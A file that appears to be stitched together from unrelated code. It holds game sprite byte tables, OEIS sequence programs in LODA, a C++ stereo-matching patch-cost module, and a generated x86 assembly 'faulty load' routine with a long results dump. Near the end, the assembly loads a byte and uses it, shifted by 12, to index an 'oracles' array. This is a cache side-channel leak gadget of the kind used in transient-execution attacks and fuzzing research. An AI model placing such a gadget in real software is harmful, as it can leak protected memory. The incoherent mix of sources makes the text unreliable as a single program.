DB 16, 165, 17, 154, 26, 0, 16, 151, 119, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 16, 17, 0, 0, 0, 16, 17, 17, 17, 17, 17, 1 DB 145, 149, 17, 17, 17, 97, 102, 129, 136, 24, 102, 22 DB 89, 26, 65, 102, 70, 68, 68, 65, 102, 20, 68, 100 DB 170, 25, 136, 136, 136, 136, 68, 129, 136, 24, 136, 72 DB 170, 153, 17, 17, 17, 129, 136, 129, 136, 24, 136, 136 DB 153, 25, 0, 0, 0, 16, 17, 17, 17, 97, 102, 102 DB 17, 1, 0, 0, 102, 102, 102, 102, 102, 102, 102, 6 DB 85, 85, 101, 102, 102, 102, 102, 102, 102, 102, 102, 0 DB 85, 85, 85, 101, 102, 102, 102, 102, 6, 0, 0, 0 DB 85, 85, 85, 85, 102, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 145, 165, 154, 153, 33, 40, 17, 145, 33, 129, 130, 24 DB 145, 165, 170, 153, 33, 40, 113, 145, 33, 129, 38, 1 DB 145, 165, 170, 153, 33, 40, 113, 113, 17, 104, 136, 1 DB 145, 165, 170, 153, 33, 40, 17, 23, 17, 132, 24, 0 DB 145, 89, 170, 153, 33, 40, 113, 121, 97, 130, 1, 0 DB 16, 89, 154, 25, 130, 40, 113, 25, 70, 18, 0, 0 DB 16, 169, 153, 33, 136, 40, 113, 97, 132, 24, 0, 0 DB 16, 89, 170, 25, 130, 40, 113, 65, 136, 17, 0, 0 DB 0, 145, 170, 25, 130, 40, 17, 70, 24, 18, 1, 0 DB 0, 145, 165, 154, 33, 18, 97, 132, 24, 18, 23, 0 DB 0, 16, 169, 154, 17, 17, 70, 136, 17, 113, 23, 0 DB 0, 16, 89, 170, 25, 17, 132, 24, 17, 119, 23, 0 DB 0, 16, 145, 165, 121, 65, 132, 113, 23, 113, 153, 1 DB 0, 145, 17, 89, 154, 129, 24, 17, 17, 113, 153, 1 DB 0, 145, 17, 145, 170, 25, 17, 17, 17, 113, 153, 1 DB 0, 16, 25, 145, 170, 25, 17, 17, 113, 17, 23, 0 DB 0, 16, 25, 145, 165, 25, 17, 17, 119, 17, 1, 0 DB 0, 16, 25, 17, 153, 17, 25, 17, 119, 25, 0, 0 DB 0, 145, 17, 153, 17, 153, 153, 113, 119, 25, 0, 0 DB 16, 25, 16, 153, 153, 170, 153, 113, 151, 25, 0, 0 DB 145, 1, 16, 153, 170, 170, 154, 113, 153, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 113, 121, 1, 0, 0 DB 145, 17, 89, 154, 17, 17, 17, 151, 23, 0, 0, 0 DB 16, 25, 89, 25, 0, 113, 119, 23, 1, 0, 0, 0 DB 16, 25, 169, 1, 0, 113, 23, 1, 0, 0, 0, 0 DB 17, 25, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 151, 1, 0, 0, 0, 0 DB 165, 17, 169, 17, 1, 16, 151, 23, 0, 0, 0, 0 DB 26, 0, 81, 85, 26, 0, 113, 121, 1, 0, 0, 0 DB 1, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 119, 121, 1, 0, 0 espada_ouch: DB 154, 170, 153, 33, 40, 49, 51, 51, 51, 51, 51, 0 DB 165, 170, 25, 34, 136, 51, 147, 121, 51, 51, 51, 3 DB 169, 154, 25, 130, 56, 40, 17, 17, 49, 51, 51, 3 DB 145, 153, 33, 130, 136, 18, 65, 24, 33, 51, 51, 3 DB 17, 17, 17, 17, 17, 17, 19, 129, 129, 51, 48, 3 DB 21, 113, 121, 151, 119, 121, 20, 132, 23, 51, 0, 51 DB 165, 17, 17, 17, 17, 19, 20, 129, 17, 49, 17, 48 DB 165, 17, 17, 17, 17, 17, 49, 24, 17, 115, 119, 49 DB 170, 17, 145, 153, 153, 17, 17, 17, 17, 115, 119, 23 DB 161, 17, 153, 169, 154, 25, 17, 17, 113, 119, 119, 121 DB 25, 16, 153, 165, 170, 153, 17, 113, 119, 115, 151, 121 DB 25, 16, 153, 165, 170, 154, 25, 16, 49, 119, 153, 121 DB 25, 0, 145, 165, 170, 154, 25, 3, 16, 151, 153, 23 DB 145, 1, 17, 89, 170, 154, 25, 0, 113, 153, 121, 1 DB 145, 1, 16, 89, 170, 170, 25, 16, 119, 119, 23, 0 DB 16, 25, 17, 145, 165, 170, 153, 17, 119, 23, 1, 0 DB 0, 145, 25, 145, 89, 170, 153, 1, 113, 121, 1, 0 DB 0, 16, 17, 17, 89, 170, 25, 0, 16, 151, 23, 0 DB 0, 0, 0, 0, 145, 165, 1, 0, 0, 113, 121, 1 DB 0, 0, 0, 16, 89, 26, 0, 0, 0, 16, 151, 1 DB 0, 0, 0, 145, 165, 1, 0, 0, 0, 0, 145, 23 DB 0, 0, 16, 89, 26, 0, 0, 0, 0, 0, 145, 121 DB 0, 0, 16, 169, 1, 0, 0, 0, 0, 0, 145, 121 DB 0, 0, 16, 169, 25, 0, 0, 0, 0, 0, 145, 121 DB 0, 0, 0, 145, 154, 1, 0, 0, 0, 0, 16, 23 DB 0, 0, 0, 145, 154, 1, 0, 0, 0, 0, 0, 1 DB 0, 0, 0, 145, 165, 17, 1, 0, 0, 0, 0, 0 DB 0, 0, 0, 16, 89, 170, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 161, 149, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 16, 149, 26, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 17, 1, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 muere: DB 80, 165, 170, 41, 34, 34, 18, 119, 153, 23, 18, 0 DB 0, 165, 154, 17, 34, 34, 18, 17, 17, 17, 18, 0 DB 0, 165, 154, 17, 34, 34, 18, 65, 24, 17, 18, 1 DB 0, 165, 154, 17, 34, 34, 18, 20, 129, 33, 18, 25 DB 16, 165, 154, 25, 33, 34, 18, 20, 132, 33, 145, 25 DB 16, 165, 170, 25, 16, 17, 17, 20, 129, 17, 145, 25 DB 16, 165, 154, 25, 0, 0, 0, 65, 24, 0, 145, 1 DB 16, 81, 153, 145, 153, 9, 0, 16, 1, 0, 16, 0 DB 0, 17, 17, 153, 89, 153, 0, 0, 0, 0, 0, 0 DB 0, 145, 17, 153, 165, 154, 9, 112, 119, 7, 0, 0 DB 16, 25, 145, 85, 170, 154, 25, 119, 119, 23, 0, 0 DB 16, 25, 145, 165, 170, 170, 25, 119, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 151, 23, 0, 0 DB 145, 1, 145, 165, 170, 154, 25, 151, 153, 23, 0, 0 DB 16, 25, 145, 89, 170, 154, 113, 151, 153, 23, 0, 0 DB 16, 25, 17, 89, 170, 153, 113, 153, 121, 23, 0, 0 DB 16, 25, 145, 153, 149, 25, 113, 153, 119, 1, 0, 0 DB 81, 17, 89, 153, 25, 17, 151, 153, 23, 0, 0, 0 DB 165, 26, 89, 149, 1, 16, 151, 121, 1, 0, 0, 0 DB 165, 17, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 170, 17, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 26, 16, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 1, 16, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 1, 0, 113, 23, 0, 0, 0, 0 DB 0, 0, 145, 85, 25, 0, 16, 151, 1, 0, 0, 0 DB 0, 0, 145, 149, 26, 0, 16, 119, 25, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 151, 1, 0, 0 DB 0, 0, 5, 16, 149, 149, 170, 169, 25, 0, 5, 0 DB 0, 0, 10, 16, 25, 17, 17, 145, 25, 0, 5, 0 DB 0, 160, 0, 16, 21, 0, 0, 145, 1, 0, 0, 5 DB 0, 5, 0, 0, 17, 0, 0, 17, 0, 160, 0, 5 DB 0, 10, 0, 0, 0, 0, 0, 0, 0, 10, 160, 0 DB 0, 160, 0, 0, 10, 0, 160, 0, 0, 0, 10, 0 DB 0, 0, 5, 80, 0, 0, 0, 0, 5, 0, 5, 0 DB 0, 0, 160, 160, 0, 0, 160, 0, 0, 0, 80, 0 DB 0, 0, 10, 0, 10, 0, 0, 10, 80, 0, 0, 5 DB 0, 80, 0, 0, 80, 0, 0, 5, 0, 10, 0, 10 DB 0, 80, 0, 0, 160, 0, 80, 0, 0, 10, 160, 0 DB 16, 160, 0, 0, 10, 0, 5, 0, 160, 0, 144, 0 DB 145, 1, 10, 0, 5, 0, 10, 0, 144, 0, 9, 0 DB 145, 1, 165, 0, 160, 0, 9, 0, 153, 144, 0, 0 DB 145, 1, 160, 170, 170, 154, 25, 151, 153, 23, 0, 0 DB 16, 25, 145, 89, 170, 154, 113, 151, 153, 23, 0, 0 DB 16, 25, 17, 89, 170, 153, 113, 153, 121, 23, 0, 0 DB 16, 25, 145, 153, 149, 25, 113, 153, 119, 1, 0, 0 DB 81, 17, 89, 153, 25, 17, 151, 153, 23, 0, 0, 0 DB 165, 26, 89, 149, 1, 16, 151, 121, 1, 0, 0, 0 DB 165, 17, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 170, 17, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 26, 16, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 1, 16, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 1, 0, 113, 23, 0, 0, 0, 0 DB 0, 0, 145, 85, 21, 0, 16, 151, 1, 0, 0, 0 DB 0, 0, 145, 149, 26, 0, 16, 119, 25, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 10, 0, 5, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 5, 0, 160, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 10, 10, 10, 0, 0, 0 DB 0, 0, 0, 0, 80, 0, 0, 160, 0, 0, 0, 0 DB 0, 0, 0, 160, 0, 0, 0, 0, 10, 0, 0, 0 DB 0, 0, 0, 10, 10, 80, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 10, 0, 0, 0 DB 0, 0, 160, 0, 0, 5, 80, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 5, 16, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 81, 21, 0, 0 DB 0, 0, 0, 0, 0, 0, 17, 17, 165, 169, 1, 0 DB 0, 0, 5, 0, 17, 17, 89, 149, 154, 25, 1, 0 DB 0, 0, 0, 16, 149, 89, 170, 170, 153, 26, 0, 0 DB 0, 0, 0, 81, 57, 165, 170, 169, 170, 26, 0, 0 DB 0, 160, 16, 165, 51, 170, 122, 170, 170, 25, 0, 0 DB 0, 0, 16, 153, 19, 26, 122, 154, 170, 26, 0, 0 DB 0, 0, 0, 145, 17, 169, 25, 169, 153, 25, 161, 0 DB 0, 0, 0, 16, 16, 25, 25, 153, 153, 169, 1, 0 DB 0, 10, 0, 0, 0, 17, 1, 17, 161, 26, 0, 0 DB 0, 10, 0, 0, 0, 0, 0, 0, 16, 1, 0, 0 DB 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 10, 0 DB 0, 160, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 144, 0, 0, 0, 0, 0, 0, 0, 160, 0, 0 DB 0, 0, 9, 0, 0, 0, 0, 0, 0, 10, 0, 0 DB 0, 0, 144, 0, 0, 0, 0, 0, 153, 0, 0, 0 DB 0, 0, 153, 153, 9, 0, 144, 153, 9, 0, 0, 0 DB 0, 0, 169, 154, 153, 153, 153, 169, 10, 0, 0, 0 DB 0, 144, 153, 154, 154, 153, 153, 169, 170, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 16, 1, 16, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 81, 1, 16, 21, 0, 0, 0 DB 0, 0, 0, 0, 16, 21, 0, 0, 169, 1, 0, 0 DB 0, 0, 0, 0, 81, 154, 17, 17, 81, 26, 0, 0 DB 0, 0, 0, 0, 81, 165, 89, 165, 154, 26, 0, 0 DB 0, 0, 0, 0, 16, 165, 89, 170, 170, 1, 0, 0 DB 0, 0, 0, 0, 0, 145, 165, 154, 154, 1, 0, 0 DB 0, 0, 0, 0, 0, 81, 154, 170, 169, 1, 0, 0 DB 0, 0, 0, 0, 144, 81, 170, 119, 17, 0, 0, 0 DB 0, 0, 0, 0, 170, 81, 170, 170, 153, 1, 0, 0 DB 0, 0, 0, 144, 169, 145, 170, 26, 26, 1, 0, 0 DB 0, 0, 0, 153, 170, 17, 169, 170, 153, 1, 0, 0 DB 0, 0, 0, 169, 154, 26, 154, 119, 17, 0, 144, 0 DB 0, 0, 144, 170, 169, 26, 169, 154, 19, 0, 169, 10 DB 0, 144, 170, 170, 153, 154, 17, 17, 51, 17, 153, 154 DB 0, 153, 154, 154, 153, 154, 153, 153, 49, 51, 145, 169
; A212984: Number of (w,x,y) with all terms in {0..n} and 3w = x+y. ; 1,1,3,6,8,12,17,21,27,34,40,48,57,65,75,86,96,108,121,133,147,162,176,192,209,225,243,262,280,300,321,341,363,386,408,432,457,481,507,534,560,588,617,645,675,706,736,768,801,833,867,902,936,972,1009 add $0,3 lpb $0 trn $0,2 trn $1,2 add $1,$0 trn $0,1 add $1,$0 lpe
#include "image_operator.h" #include "image.h" #include "graph_particles.h" //------------------------------------------------------------------------------ namespace pmbp { //------------------------------------------------------------------------------ ImageOperator::ImageOperator(Image** img, Image** grad, Image** filt, int* ww, int* hh, Parameters& params, DisplacementFunction f) : images(img), gradients(grad), filtered(filt), w(ww), h(hh), parameters(params), displacement_function(f){ } //------------------------------------------------------------------------------ ImageOperator::~ImageOperator(){ } //------------------------------------------------------------------------------ float ImageOperator::PatchCost(View view, int x, int y, const State& state, float threshold) const { float error(0); View target = view; View source = OtherView(target); // Center pixel float xc_target = x; float yc_target = y; // Patch boundaries float start_x = std::max(xc_target - parameters.patch_size, 0.f); float start_y = std::max(yc_target - parameters.patch_size, 0.f); float end_x = std::min((float)(xc_target + parameters.patch_size), (float)(w[target]-1)); float end_y = std::min((float)(yc_target + parameters.patch_size), (float)(h[target]-1)); // Center color for AWS int center_colour = filtered[view]->GetGridPixel(x, y); float r_center = Image::Red(center_colour); float g_center = Image::Green(center_colour); float b_center = Image::Blue(center_colour); for(int y_target = start_y; y_target <= end_y; ++y_target){ for(int x_target = start_x; x_target <= end_x; ++x_target){ float d_x, d_y; displacement_function(x_target, y_target, state, d_x, d_y); // Get source coordinate float x_source = x_target + d_x; float y_source = y_target + d_y; error += PixelCost(target, source, x_source, y_source, x_target, y_target, r_center, g_center, b_center); } // Early termination, must pass unary minus message sum as the message sum // will be added to the unary if(error > threshold){ return parameters.infinity; } } return error; } //------------------------------------------------------------------------------ float ImageOperator::PixelCost(View target, View source, float x_source, float y_source, float x_target, float y_target, float r_center, float g_center, float b_center) const { float error(0.f); if(images[source]->IsInside(x_source, y_source)){ // Get target colour int target_colour = images[target]->GetGridPixel(x_target, y_target); unsigned char r_t, g_t, b_t; Image::DecodeColour(target_colour, r_t, g_t, b_t); // Get target gradient colour int target_gradient_colour = gradients[target]->GetGridPixel(x_target, y_target); float dr_t = Image::Red(target_gradient_colour); // Get source colour float r_s, g_s, b_s; images[source]->GetInterpolatedPixel(x_source, y_source, r_s, g_s, b_s); // Get source gradient float dr_s, dg_s, db_s; gradients[source]->GetInterpolatedPixel(x_source, y_source, dr_s, dg_s, db_s); // Difference float diff_colour = (fabs(float(r_t)-float(r_s))+fabs(float(g_t)-float(g_s))+fabs(float(b_t)-float(b_s)))/3.f; float diff_gradient = fabs(float(dr_t)-float(dr_s)); // Adaptive support weight float filt_r, filt_g, filt_b; filtered[target]->GetInterpolatedPixel(x_target, y_target, filt_r, filt_g, filt_b); float diff_asw = (fabs(r_center-filt_r)+fabs(g_center-filt_g)+fabs(b_center-filt_b)); float w = exp(-(diff_asw)/parameters.asw); diff_colour = std::min(diff_colour, parameters.tau1); diff_gradient = std::min(diff_gradient, parameters.tau2); error = w*((1.f-parameters.alpha)*diff_colour + parameters.alpha*diff_gradient); } else{ float maxmatchcosts = (1.f - parameters.alpha) * parameters.tau1 + parameters.alpha * parameters.tau2; float bordercosts = maxmatchcosts * parameters.border; // Adaptive support weight float filt_r, filt_g, filt_b; filtered[target]->GetInterpolatedPixel(x_target, y_target, filt_r, filt_g, filt_b); float diff_asw = (fabs(r_center-filt_r)+fabs(g_center-filt_g)+fabs(b_center-filt_b)); float w = exp(-(diff_asw)/parameters.asw); error = w*(bordercosts); } return error; } //------------------------------------------------------------------------------ bool ImageOperator::IsStateValid(View view, int x, int y, const State& state) const { float dx, dy; displacement_function(x, y, state, dx, dy); // Check that the displacement is not more than the max motion if(parameters.max_motion!=0.f && dx*dx+dy*dy>parameters.max_motion*parameters.max_motion) return false; // Check that we are still in the image if(!images[view]->IsInside(x+dx, y+dy)) return false; return true; } //------------------------------------------------------------------------------ } //------------------------------------------------------------------------------
; A082413: a(n) = (2*9^n + 3^n)/3. ; 1,7,57,495,4401,39447,354537,3189375,28700001,258286887,2324542617,20920765455,188286534801,1694577750327,15251196564297,137260759512735,1235346806916801,11118121176157767,100063090327139577,900567812169415215,8105110307200214001,72945992757828357207,656513934799534508457,5908625413133048456895,53177628718009149754401,478598658461517488716647,4307387926151962821230937,38766491335362581659421775,348898422018247983739826001,3140085798164186100073524087,28260772183477537639906987017 mov $2,3 pow $2,$0 mov $1,$2 div $1,2 pow $2,2 add $1,$2 div $1,3 mul $1,2 add $1,1 mov $0,$1
; A022963: 7-n. ; 7,6,5,4,3,2,1,0,-1,-2,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-25,-26,-27,-28,-29,-30,-31,-32,-33,-34,-35,-36,-37,-38,-39,-40,-41,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52 sub $0,7 mul $0,-120259084286 mov $1,$0 div $1,120259084286
; A292616: a(n) = 3*a(n-2) - a(n-4) for n > 3, with a(0)=4, a(1)=3, a(2)=a(3)=6, a sequence related to bisections of Fibonacci numbers. ; Submitted by Christian Krause ; 4,3,6,6,14,15,36,39,94,102,246,267,644,699,1686,1830,4414,4791,11556,12543,30254,32838,79206,85971,207364,225075,542886,589254,1421294,1542687,3720996,4038807,9741694,10573734,25504086,27682395,66770564,72473451,174807606,189737958 mov $1,2 mov $4,-1 lpb $0 sub $0,1 add $2,$1 add $3,$4 add $1,$3 add $4,$2 add $2,2 add $3,$4 sub $4,$3 add $3,$4 add $3,$4 lpe mov $0,$1 add $0,2
.global s_prepare_buffers s_prepare_buffers: push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x51c, %rsi lea addresses_A_ht+0x401c, %rdi clflush (%rsi) dec %rbp mov $40, %rcx rep movsq nop add %rbp, %rbp lea addresses_A_ht+0xb39c, %rsi lea addresses_D_ht+0x1c4dc, %rdi nop nop nop dec %rbp mov $74, %rcx rep movsb nop nop nop nop xor %rdx, %rdx lea addresses_normal_ht+0x611c, %rsi lea addresses_A_ht+0xcc5c, %rdi nop nop nop nop cmp %r8, %r8 mov $26, %rcx rep movsq nop nop nop nop nop sub $2240, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %rbp push %rbx push %rdi // Load lea addresses_US+0x3f9c, %r12 nop nop nop nop sub $11652, %r13 mov (%r12), %r11 nop nop nop inc %rdi // Faulty Load lea addresses_US+0xf39c, %r12 nop nop nop nop nop and $59768, %rdi movb (%r12), %bl lea oracles, %rbp and $0xff, %rbx shlq $12, %rbx mov (%rbp,%rbx,1), %rbx pop %rdi pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
